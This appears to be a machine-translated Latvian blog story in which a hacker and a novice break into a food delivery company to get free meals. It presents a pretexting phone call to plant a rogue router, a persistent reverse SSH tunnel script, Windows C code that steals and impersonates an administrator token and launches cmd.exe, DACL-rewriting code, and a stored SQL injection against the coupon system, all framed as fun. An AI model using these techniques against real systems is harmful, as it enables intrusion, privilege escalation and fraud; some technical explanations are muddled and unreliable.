paint-brush
Vai tu esi izsalcis, brāli? Uzlauzsim jūsu iecienītāko ēdienu piegādes lietotniautors@pepitoscrespo
751 lasījumi
751 lasījumi

Vai tu esi izsalcis, brāli? Uzlauzsim jūsu iecienītāko ēdienu piegādes lietotni

autors pepitoscrespo14m2024/09/24
Read on Terminal Reader

Pārāk ilgi; Lasīt

Ienirstiet ētiskas uzlaušanas pasaulē ar Benicio un Simplicius, kad viņi izmanto ievainojamības populārajā ēdienu piegādes lietotnē. No sociālās inženierijas līdz SQ.
featured image - Vai tu esi izsalcis, brāli? Uzlauzsim jūsu iecienītāko ēdienu piegādes lietotni
pepitoscrespo HackerNoon profile picture
0-item
1-item


Labāko hakeru skatījums uz pasauli atšķiras no tehnoloģiju darbinieku ikdienas darba, kas strādā tehnoloģiju uzņēmumā. Lai gan lielākā daļa profesionāļu paļaujas uz oficiālu dokumentāciju, priekšnieku norādījumiem un pieņemto labāko praksi, hakeris uzticas tikai tam, ko var pieskarties, pārbaudīt un saplēst. Hakerim izpratne rodas, izmantojot reverso inženieriju — sistēmu izvilkšanu, lai atklātu, kā tās patiešām darbojas, pēc tam tās atkal saliekot kopā, labojot bojāto vai izmantojot ievainojamības.


Šeit nav runa par noziedznieku. Tā ir tīrākā mācīšanās forma, metode tikpat sena kā pati cilvēka zinātkāre: nojaukt to, izprast tās daļas un atjaunot to. Tā ir analītiskā un sintētiskā domāšana savās labākajās izpausmēs. Patiesa meistarība rodas, kad hakeris var izmantot ierīci, jo tas ir galvenais pierādījums tam, ka viņi precīzi zina, kā tā darbojas — labāk nekā jebkurš cits.


Šis stāsts ir tieši par to — kā top hakeris (Benicio) no DeusExMachina un Simplicius (drosmīgs iesācējs) laimīgi sadala un galu galā iegūst pilnīgu kontroli pār sarežģīto sistēmu (pārtikas piegādes lietotni).

Tas ir piedzīvojums, kas nav tikai intelektuāls un tehnisks, bet pamatā ir cīņa, lai pārvarētu cilvēciskos ierobežojumus, atrisinātu neiespējamo mīklu, ne tikai sasprindzinot smadzenes, bet arī spēlējoties ar to un galvenokārt burtiski barojoties ar to — šī īpašība ir kopīga hakeriem bērniem.



Atruna: šis stāsts satur reālu piemērojamo uzlaušanas materiālu, taču tas ir paredzēts tikai izglītojošiem nolūkiem. Tas neveicina nelikumīgu uzlaušanu.


Benicio (Hakeris): Simplicius, tu izskaties badā. Kā būtu, ja mēs pasūtītu ēdienu... uz māju? Man ir plāns uzlauzt jūsu iecienītāko ēdienu piegādes lietotni, izmantojot viņu pašu kuponu sistēmu.


Simplicius (iesācējs): ( Smejas ) Jums jau ir kaut kas gatavots, vai ne? Izlejiet pupiņas.


Benicio: ( Smaida ) Ak, es jau esmu ielicis pamatus. Vakar es mīļi aprunājos ar Gregu no viņu IT komandas, paņēmu gudru sociālo inženieriju un ievietoju savu pirātu maršrutētāju tieši viņu tīklā. Tagad mums ir tieša piekļuve viņu aizmugursistēmai un piekļuve viņu vērtīgajai kuponu sistēmai. Ēdam.

Benicio iestatījums: hakeru arsenāls

  • Klēpjdators : Benicio galvenais rīks ir Dell XPS 13 (10. paaudzes Intel Core i7, 16 GB RAM, 512 GB SSD), kurā darbojas Kali Linux — lieliski piemērots sociālās inženierijas uzbrukumu izpildei, drošības izmantošanai un attālo komandu izpildei.
  • Pirātu maršrutētājs : instalēts uzņēmuma tīklā, darbojas pielāgota OpenWRT versija ar SSH tunelēšanu , MAC adreses viltošanu un VPN pagriezienu , lai izvairītos no atklāšanas. Šī mazā, bet jaudīgā ierīce ir bruņota ar Qualcomm IPQ4019 procesoru un 256 MB RAM , kas nodrošina slepenību un efektivitāti.
  • Operētājsistēma : OpenWRT , kas nodrošina pilnīgu tīkla funkciju kontroli un iespēju apiet ugunsmūrus.
  • Sekundārais klēpjdators : lai droši kontrolētu apdraudēto tīklu, Benicio izmanto HP Spectre x360 , kurā darbojas Ubuntu 22.04 ar Wireshark un Metasploit satiksmes uzraudzībai un ekspluatācijas analīzei.

1. fāze: sociālās inženierijas iestatīšana — vakardienas darbs

Benicio: Viss sākās ar Gregu. Es piezvanīju, izliekoties, ka piederu viņu “trešās puses audita komandai”, un Gregs — jauks puisis — izteica visu par viņu tīkla uzstādīšanu. Pirms viņš to uzzināja, es atrados viņu serveru telpā, "pārbaudot ievainojamības" un ievietoju savu pielāgoto OpenWRT maršrutētāju. Šī lieta tagad neatklāti šķērso viņu ugunsmūri.


Simplicius: Jūs piebūrāt Gregu, iedodot jums tīkla karti un ļāvāt instalēt negodīgu maršrutētāju? Gluda.


Benicio: (Smejas) Šajā maršrutētājā tagad darbojas reversais SSH tunelis , kas sniedz mums attālo piekļuvi jebkurā laikā. Lūk, skripts, ko izmantoju:


 #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done

2. fāze: ugunsmūra apiešana — pirātu maršrutētājs darbībā

Simplicius: Tātad tagad jūs esat apiets viņu ugunsmūri ar šo viltīgo ierīci. Kas būs tālāk?


Benicio: ar pilnu iekšējo piekļuvi ir pienācis laiks nolaupīt augstu privilēģiju marķieri. Es atradu procesu, kas darbojas kā administrators, izmantoju DuplicateTokenEx() API, lai klonētu šo pilnvaru, un pēc tam uzdodos par administratoru ar ImpersonateLoggedOnUser() . Sistēma domā, ka esmu tikai parasts lietotājs, bet aizkulisēs es esmu tas, kurš tur visas atslēgas.


 #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }

3. fāze: Gregs uz glābšanu — atkal

Benicio: Bet, lai tas patiešām skanētu, man vajadzēja zināt, kā tika izveidoti viņu drošības deskriptori . Tāpēc es vēlreiz piezvanīju Gregam un teicu, ka man ir nepieciešams, lai viņš pārbaudītu dažus DACL un SACL iestatījumus auditam. Viņš ar prieku pateicās.


Simplicius: (Smejas) Sociālā inženierija tās labākajā līmenī.

4. fāze: drošības deskriptora maiņa — neredzams uzlauzums

Benicio: Labi, ar Grega palīdzību es izvilku SDDL ( Security Descriptor Definition Language ) virkni mērķa drošības deskriptoram, ļaujot man analizēt un pārrakstīt DACL (diskrecionārās piekļuves kontroles sarakstu) . Es modificēju DACL, lai piešķirtu sev pilnu piekļuvi, vienlaikus izmantojot gudrus mantojuma karogus, lai nodrošinātu, ka izmaiņas neizraisīs brīdinājumus vai neradīs aizdomas. Sistēma pat nepamirkšķināja!!


Kad jaunais DACL bija ieviests, es piemēroju izmaiņas sistēmā. Skaistums ir tāds, ka no sistēmas viedokļa nekas nešķita neparasts . Mantojuma karodziņi nodrošināja, ka manas modifikācijas palika paslēptas saskaņā ar esošajiem piekļuves noteikumiem, taču tagad man bija pilnīga kontrole


 #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }


5. fāze: piekļuves pārbaudes apiešana — spēle ir ieslēgta

Attēlā parādīts, kā sistēma Windows salīdzina jūsu piekļuves pilnvaru (SID) un resursa drošības deskriptoru (DACL) piekļuves pārbaudes procesā, lai piešķirtu vai liegtu piekļuvi. Benicio manipulē ar tiem, lai apietu drošības pārbaudes.


Simplicius: Tātad jūs esat iekšā un jums ir kontrole. Kā jūs pārspējāt piekļuves pārbaudi?


Benicio: (pārliecināti atliecoties, norādot uz iepriekš redzamo diagrammu) Sistēma darbojas trīs slāņos: integritātes, marķieru bāzes un diskrecionārās pārbaudes . Parasti lielākā daļa cilvēku nonāk strupceļā, taču šeit parādās maģija. Es paņēmu administratora pilnvaru no priviliģētā procesa un izmantoju ImpersonateToken() lai sistēma domātu, ka esmu galvenais priekšnieks. Pēc tam es pārslēdzu DACL , lai nodrošinātu sev pilnīgu piekļuvi. Sistēma tikko izritināja sarkano paklāju.


Ļaujiet man paskaidrot. Piekļuves marķieris , kuram ir SID (drošības identifikatori) un privilēģijas, ir kā mana pase. Uzdodoties par administratora pilnvaru , man nebija jāmaina savi sākotnējie SID. Sistēma joprojām domāja, ka esmu lietotājs ar zemām privilēģijām, bet aizkulisēs man bija karaļvalsts atslēgas. Tas man palīdzēja tikt galā ar marķieru pārbaudi .


Pēc tam es pievērsos drošības deskriptoram (DACL) . Atcerieties, ka SDDL es izvilku agrāk? Es modificēju DACL , lai dotu sev pilnīgu kontroli pār objektu, taču es gudri maskēju izmaiņas ar mantojuma karodziņiem , pārliecinoties, ka nekas aizdomīgs netiks atzīmēts. Sistēma pat nepamirkšķināja, bet tagad man bija pilnīga kontrole. Tas mani izlaida cauri diskrecionārajai pārbaudei .


Vienkāršs: Jā, mūsu draudzīgais izlēcējs, piekļuves pārbaudes process…


Benicio: Jā, es esmu kā izlēcējs klubā . Ja jums ir pareizais ID ( SID ) un jūs zināt kluba īpašnieku ( DACL ), jūs esat iesaistījies. Es pārliecinājos, ka man ir gan pareizais ID, gan īpašnieka atļauja, tāpēc izlēcējs man neļāva. viņi man iedeva VIP caurlaidi.


Un pēc visa tā? Sistēma saka “ Piekļuve piešķirta” vai “ Piekļuve liegta” . Pateicoties visām mūsu veiktajām darbībām, jūs to uzminējāt — piekļuve piešķirta . Mēs esam iekšā, Simplicius, un sistēma to pat nepamanīja.

6. fāze: vakariņu pasūtīšana — vienas SQL injekcijas attālumā

Benicio : Tagad par jautro daļu. Es negāju vieglāko ceļu ar vienkāršu UNION klauzulu. Lietotne tam ir pārāk gudra — viņi izmanto sagatavotus paziņojumus . Bet ziniet, drošība ir tik spēcīga, cik stipra ir vājākā saite, un es atradu savējo tajā, kā viņi apstrādā saglabātos profila datus .


Simplicius : Labi, esmu ieintriģēts. Kā jums izdevās piemānīt sistēmu, lai tā pieņemtu viltotu kuponu, saglabājot derīgo kuponu neskartu?


Benicio : ( Noliecies uz priekšu ) Šeit ir īstais triks. Lietotne izpilda vaicājumu, lai pārbaudītu, vai kupons ir likumīgs, taču tā izņem dažus datus no jūsu lietotāja profila . Tagad viņi dezinficē ievadi, kad pirmo reizi izveidojat savu profilu, taču NEATTIECAS to atkārtoti profila atjaunināšanas laikā. Tāpēc es ievadīju lietderīgo slodzi sava profila adreses laukā , kas tur palika nepamanīts, līdz lietotne to ievietoja turpmākajā vaicājumā. Toreiz sākās mana otrās kārtas SQL injekcija . Sistēma to neuztvēra, jo injekcija jau bija saglabāta, gaidot īsto brīdi.


Tā vietā, lai tieši uzbruktu kupona apstiprināšanas procesam, kā jau teicu Simplicius, es ievietoju savu kravnesību profila laukā, gaidot, kad tā tiks izmantota atsevišķā vaicājumā. Lūk, kā varēja izskatīties sākotnējā kupona apstiprināšana:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';


Parasti šis vaicājums neko neatgriež, jo viltotais kupons neeksistē. Bet mana ievadītā kravnesība mainīja vaicājuma loģiku. Sistēma negaidīja injekciju, jo tā jau bija saglabāta datu bāzē un gaidīja īsto brīdi. Vaicājums tika pārveidots par kaut ko vairāk līdzīgu šim:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');

Izmantojot mijiedarbību starp profila datiem un vaicājumu , es apmānīju sistēmu, lai vienlaikus izvilktu gan viltotus, gan derīgus kuponus. Lietojumprogramma apstrādā darījuma viltoto kuponu, taču derīgais kupons sistēmā paliek neskarts un neskarts. Tas nozīmē, ka varu izmantot derīgo kuponu, kad vien vēlos.


Simplicius : Tātad jūs neizmantojāt klasisko ievades triku — jūs ievietojāt lietderīgo slodzi savā profilā un ļāvāt sistēmai veikt netīro darbu?


Benicio : Tieši tā. Skaistums ir tāds, ka lietotne apstrādā viltotu darījuma kuponu, taču aizmugurē derīgais kupons joprojām ir pieejams turpmākai lietošanai. Saglabātā kravnesība turpinās darboties arī turpmākajos vaicājumos, padarot to par bezgalīgu bezmaksas pārtikas krājumu , un viņi nav gudrāki.


Ar to es saņēmu mums kuponu, kas ir tikpat labs kā zelts. Pasūtīsim.

7. fāze: svētki — piegādāti

Benicio: (Ritina lietotni) Labi, Simplicius, kā būtu ar kādu grieķu ēdienu? Es domāju souvlaki, giros, spanakopita. Protams, viss uz mājām.


Simplicius: (Smaidot) Šoreiz jūs patiešām esat pārspējis sevi.


Benicio: (Klikšķi apstiprina) Gatavs. Ēdiens ir ceļā.

Epilogs: Baltās cepures kustība

Benicio: Pēc tam es viņiem nosūtīšu diskrētu ziņojumu, izskaidrojot viņu ievainojamības. Viņiem nav ne jausmas, cik slikti ir iestatīta viņu Windows drošības marķiera sistēma . Varbūt viņi kaut ko iemācīsies, pirms nāk nākamais hakeris.

Šeit ir Benicio recepte šim uzlauzumam:

  • Pirātu maršrutētājs : apiet ugunsmūrus ar pielāgotu ierīci, kurā darbojas OpenWRT un SSH tunelēšana.
  • Manipulācija ar marķieri : izmantojiet DuplicateTokenEx() un ImpersonateToken() , lai paaugstinātu privilēģijas, neradot trauksmes signālus.
  • Sociālā inženierija : dažreiz viss, kas nepieciešams, ir pareizais jautājums īstajam cilvēkam.
  • Drošības deskriptora darbības : DACL pārrakstīšana ļauj apiet sistēmas vadīklas.
  • SQL ievadīšana : mainiet vaicājuma loģiku, lai manipulētu ar datiem un ģenerētu viltotus, bet derīgus rezultātus.


Simplicius: (Atliecas) Jūs uzlauzāt mums vakariņas un neatstājiet viņus gudrākus. Starp citu, es paņemšu souvlaki.


Benicio: (Smejas) Izbaudiet to, kamēr tas ilgst.